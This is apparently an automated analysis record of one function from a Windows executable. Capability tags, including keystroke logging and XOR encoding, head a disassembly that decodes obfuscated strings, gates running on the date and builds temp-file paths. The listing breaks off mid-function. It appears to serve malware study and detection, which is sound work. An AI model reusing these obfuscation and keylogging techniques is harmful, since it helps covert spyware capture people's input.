Function at 0x1400446d0
Capabilities:
Create thread
Encode data using xor
Get common file path
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x520
vmovaps xmmword [rax - 0x28], xmm6
vmovaps xmmword [rax - 0x38], xmm7
vmovaps xmmword [rax - 0x48], xmm8
vmovaps xmmword [rax - 0x58], xmm9
vmovaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x14006b060]
xor rax, rsp
mov qword [rsp + 0x4c0], rax
xor edi, edi
lea rcx, [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x18a]
cmp ax, 6
jne 0x14004474f
movzx eax, word [rsp + 0x18e]
dec ax
cmp ax, 0x1e
jbe 0x14004476c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
cmp ax, 7
je 0x140044735
cmp ax, 8
jne 0x140044746
movzx eax, word [rsp + 0x18e]
dec ax
cmp ax, 0x1e
ja 0x140044746
call fcn.1400390d0
lea rcx, [0x14004a940]
call fcn.14000f544
call fcn.1400486d0
mov r15d, 4
lea r12d, [r15 + 0x1b]
test al, al
jne 0x140044f4b
vmovups ymm0, ymmword [0x1400618f0]
vmovups ymmword [rsp + 0xe0], ymm0
mov eax, dword [0x140061910]
mov dword [rsp + 0x100], eax
movzx eax, word [0x140061914]
mov word [rsp + 0x104], ax
movzx eax, byte [0x140061916]
mov byte [rsp + 0x106], al
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, edi
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0xe0]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
nop dword [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140044820
cmp r8d, 0x27
jge 0x140044930
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140044900
lea rcx, [rsp + 0xe0]
vzeroupper
call fcn.1400036e0
mov eax, dword [0x140061910]
mov dword [rsp + 0x100], eax
movzx eax, word [0x140061914]
mov word [rsp + 0x104], ax
movzx eax, byte [0x140061916]
vmovups ymm0, ymmword [0x1400618f0]
mov byte [rsp + 0x106], al
vmovups ymmword [rsp + 0xe0], ymm0
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, edi
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0xe0]
mov edx, dword [rsp + 0xc0]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400449c0
cmp r8d, 0x27
jge 0x140044ad0
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140044aa0
xor ecx, ecx
lea rdx, [rsp + 0xe0]
lea r8, [0x140060e34]
xor r9d, r9d
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
movzx eax, byte [0x140061898]
vmovups xmm0, xmmword [0x140061888]
mov byte [rsp + 0x50], al
vmovups xmmword [rsp + 0x40], xmm0
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, edi
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x40]
mov edx, dword [rsp + 0xc0]
nop dword [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140044b50
cmp r8d, 0x11
jge 0x140044c60
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140044c30
lea rcx, [rsp + 0x40]
call fcn.140015634
mov eax, dword [str.sa3e__GMbXSU_HO]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x30]
cmp byte [0x140061aaf], dil
je 0x140044ceb
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x140062020]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x140062020]
vshufps xmm4, xmm3, xmm2, 0xdd
vmovd xmm0, r15d
vpsrad xmm2, xmm4, xmm0
vmovd xmm0, r12d
vpsrld xmm1, xmm2, xmm0
vpaddd xmm2, xmm1, xmm2
vpmulld xmm3, xmm2, xmmword [0x140061f20]
vpsubd xmm4, xmm5, xmm3
vpshufb xmm2, xmm4, xmmword [0x140061e90]
vpaddb xmm3, xmm2, xmmword [0x140061fe0]
vmovd xmm0, eax
vpxor xmm1, xmm3, xmm0
vmovd dword [rsp + 0x30], xmm1
call fcn.140015634
movzx eax, word [0x140061c80]
mov word [rsp + 0x50], ax
movzx eax, byte [0x140061c82]
vmovups xmm0, xmmword [0x140061c70]
mov byte [rsp + 0x52], al
vmovups xmmword [rsp + 0x40], xmm0
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x40]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
nop dword [rax + rax]
vmovd xmm0, edi
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [rdi + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140044d60
cmp edi, 0x13
jge 0x140044e6d
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, dil
sub al, cl
add al, 0x30
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x13
jl 0x140044e40
lea rcx, [rsp + 0x40]
call fcn.140015634
mov eax, dword [str.sa3e__GMbXSU_HO]
mov dword [rsp + 0x30], eax
cmp byte [0x140061aaf], 0
je 0x140044ef3
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x140062020]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x140062020]
vshufps xmm4, xmm3, xmm2, 0xdd
vmovd xmm0, r15d
vpsrad xmm2, xmm4, xmm0
vmovd xmm0, r12d
vpsrld xmm1, xmm2, xmm0
vpaddd xmm2, xmm1, xmm2
vpmulld xmm3, xmm2, xmmword [0x140061f20]
vpsubd xmm4, xmm5, xmm3
vpshufb xmm2, xmm4, xmmword [0x140061e90]
vpaddb xmm3, xmm2, xmmword [0x140061fe0]
vmovd xmm0, eax
vpxor xmm1, xmm3, xmm0
vmovd dword [rsp + 0x30], xmm1
lea rcx, [rsp + 0x30]
call fcn.140015634
xor eax, eax
mov rcx, qword [rsp + 0x4c0]
xor rcx, rsp
call fcn.14000ee10
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
vmovaps xmm6, xmmword [r11 - 0x10]
vmovaps xmm7, xmmword [r11 - 0x20]
vmovaps xmm8, xmmword [r11 - 0x30]
vmovaps xmm9, xmmword [r11 - 0x40]
vmovaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov eax, dword [str.sa3e__GMbXSU_HO]
mov dword [rsp + 0x30], eax
cmp byte [0x140061aaf], dil
je 0x140044fc7
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x140062020]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x140062020]
vshufps xmm4, xmm3, xmm2, 0xdd
vmovd xmm0, r15d
vpsrad xmm2, xmm4, xmm0
vmovd xmm0, r12d
vpsrld xmm1, xmm2, xmm0
vpaddd xmm2, xmm1, xmm2
vpmulld xmm3, xmm2, xmmword [0x140061f20]
vpsubd xmm4, xmm5, xmm3
vpshufb xmm2, xmm4, xmmword [0x140061e90]
vpaddb xmm3, xmm2, xmmword [0x140061fe0]
vmovd xmm0, eax
vpxor xmm1, xmm3, xmm0
vmovd dword [rsp + 0x30], xmm1
lea rcx, [rsp + 0x30]
call fcn.140015634
mov rax, qword [0x1401a2680]
movsxd rcx, dword [rax + 4]
lea rdx, [0x1401a2698]
mov eax, dword [rcx + rdx]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [rcx + rdx], eax
mov rax, qword [0x1401a2680]
movsxd rcx, dword [rax + 4]
or dword [rcx + rdx], r15d
lea rdx, [rsp + 0x3b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
jbe 0x140045029
lea rcx, str.INvalid_Length_n
call fcn.1400036e0
mov rax, qword [0x140061b18]
mov qword [rsp + 0x40], rax
cmp byte [0x140061b1f], dil
je 0x14004510e
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x40]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x198], xmm0
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], rdi
lea rax, [rsp + 0x40]
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140045140
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x198]
call fcn.140002d60
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], rdi
lea rax, [rsp + 0x3b0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045184
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0xa0]
call fcn.140002d60
nop
lea rdx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0xa0]
call fcn.140002570
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x128], ymm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140045252
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004524a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004707b
vzeroupper
call fcn.14000ee30
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
vzeroupper
call fcn.14000e544
vmovups xmm0, xmmword [rsp + 0xc0]
vmovdqa xmmword [rsp + 0xc0], xmm0
lea r8, [rsp + 0xc0]
mov edx, eax
lea rcx, [rsp + 0x108]
call fcn.140005c00
nop
lea rcx, [rsp + 0x108]
call fcn.140006630
movzx ebx, al
mov rdx, qword [rsp + 0x120]
cmp rdx, 8
jb 0x14004532a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045325
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047084
call fcn.14000ee30
test bl, bl
je 0x1400458b9
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x108]
call fcn.140002450
lea r8, [0x140fb3f80]
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.140008370
nop
lea rcx, [rsp + 0xe0]
call fcn.140008500
movzx eax, word [0x140061a44]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140061a46]
mov byte [rsp + 0x30], 0x41
xor byte [rsp + 0x31], 0x31
xor al, 0x32
mov byte [rsp + 0x32], al
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x168], xmm0
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400453b4
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x168]
call fcn.140002d60
nop
movzx eax, word [0x140061a08]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140061a0a]
mov byte [rsp + 0x30], 0x42
xor byte [rsp + 0x31], 0x31
xor al, 0x32
mov byte [rsp + 0x32], al
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rdi
lea rax, [rsp + 0x30]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140045420
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc0]
call fcn.140002d60
nop
lea rax, [rsp + 0x218]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x218]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x1f8]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x148]
lea rcx, [0x140fb3f80]
call fcn.140008070
nop
lea rdx, [rsp + 0x148]
cmp qword [rsp + 0x160], 0x10
cmovae rdx, qword [rsp + 0x148]
mov rax, qword [0x140061c48]
mov qword [rsp + 0x40], rax
cmp byte [0x140061c4f], 0
je 0x140045592
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x40]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
lea rcx, [rsp + 0x40]
call fcn.1400036e0
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x1d8]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x1b8]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x108]
lea rcx, [0x140fb3f80]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x1400455fb
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e1c0
mov rbx, rax
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x140045649
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004708a
call fcn.14000ee30
vmovsd xmm0, qword [0x1400617f8]
vmovsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140061800]
mov word [rsp + 0x48], ax
cmp byte [0x140061801], 0
je 0x14004569e
mov byte [rsp + 0x40], 0x63
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
xor byte [rsp + 0x48], 0x38
xor byte [rsp + 0x49], 0x39
lea rdx, [rsp + 0x40]
lea rcx, [0x1401a2680]
call fcn.140002730
mov rdx, rbx
mov rcx, rax
call fcn.140009910
mov rcx, rax
call fcn.140002cd0
test rbx, rbx
je 0x14004578f
movabs rax, 0x2492492492492493
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 2
lea rcx, [rbx + 0xf8]
call fcn.140007100
add eax, 0xffffff28
test eax, 0xfffffff7
je 0x14004571e
lea rcx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rcx, qword [rsp + 0x128]
call fcn.14001cd88
jmp 0x14004578f
mov qword [0x140fb3ef8], rbx
imul rdx, rbx, 7
vmovsd xmm0, qword [str.bTS__t]
vmovsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140061a00]
mov word [rsp + 0x48], ax
movzx ecx, byte [0x140061a02]
mov byte [rsp + 0x40], 0x52
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
xor al, 0x38
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], 0x39
xor cl, 0x3a
mov byte [rsp + 0x4a], cl
lea rcx, [rsp + 0x40]
call fcn.1400036e0
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x1400457d2
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400457cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047090
call fcn.14000ee30
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 0xf
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x140045832
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004582c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047096
call fcn.14000ee30
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x140045876
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004709c
call fcn.14000ee30
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x1400458b9
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400458b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400470a2
call fcn.14000ee30
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
call fcn.14000e544
vmovups xmm0, xmmword [rsp + 0xc0]
vmovdqa xmmword [rsp + 0xc0], xmm0
lea r8, [rsp + 0xc0]
mov edx, eax
lea rcx, [rsp + 0x108]
call fcn.140005c00
nop
lea rcx, [rsp + 0x108]
call fcn.140006630
test al, al
sete bl
mov rdx, qword [rsp + 0x120]
cmp rdx, 8
jb 0x14004597f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
